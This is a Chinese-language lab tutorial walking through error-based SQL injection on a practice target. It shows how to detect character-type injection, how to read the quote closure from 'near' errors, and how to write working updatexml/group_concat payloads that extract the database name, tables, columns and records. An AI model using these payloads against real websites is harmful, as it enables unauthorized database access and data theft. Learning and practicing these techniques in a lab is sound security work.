一.前置知识
二.打靶实战
进入靶场
1.判断是否存在SQL注入漏洞
①能交互,用户可控制输入的数据
②数据能传送到数据库中
2.判断注入类型及闭合方式
试验点1:?id=1 and 1=1
试验点2:?id=1 and 1=2
试验点3:?id=1'
试验点1和试验点2结果均相同,说明是字符型注入
试验点3near报错信息判断闭合方式法
可知是单引号闭合。
[技巧1:near报错判断闭合方式]
第1步:先去掉near后面内容的左右各一个单引号
''1''->'1'
第2步:再去掉本来输入的内容
'1'->'
第3步:剩下的内容从右边向左边看,留下的即是闭合方式内容
'->单引号闭合
3.获取数据库名
由于报错只会在updatexml中的xml_string(即第2个参数位置)出现,所以第1、3参数位置可以任意设置
示例:?id=1' and updatexml(1,concat(0x7e,database(),0x7e),3)%23
数据库为security
4.获取数据库表名
由于concat只能合并成一行,因此concat需要group_concat辅助来进行合并
即先将多个表合并,再与特殊字符合并
示例:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),3)%23
5.获取表中的字段
思路相同,只需要把对应的table换成column即可,其他保持不变
示例:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),3)%23
6.获取字段中的记录
示例:?id=1' and updatexml(1,concat(0x7e,(select group_concat(id) from emails where database()='security'),0x7e),3)%23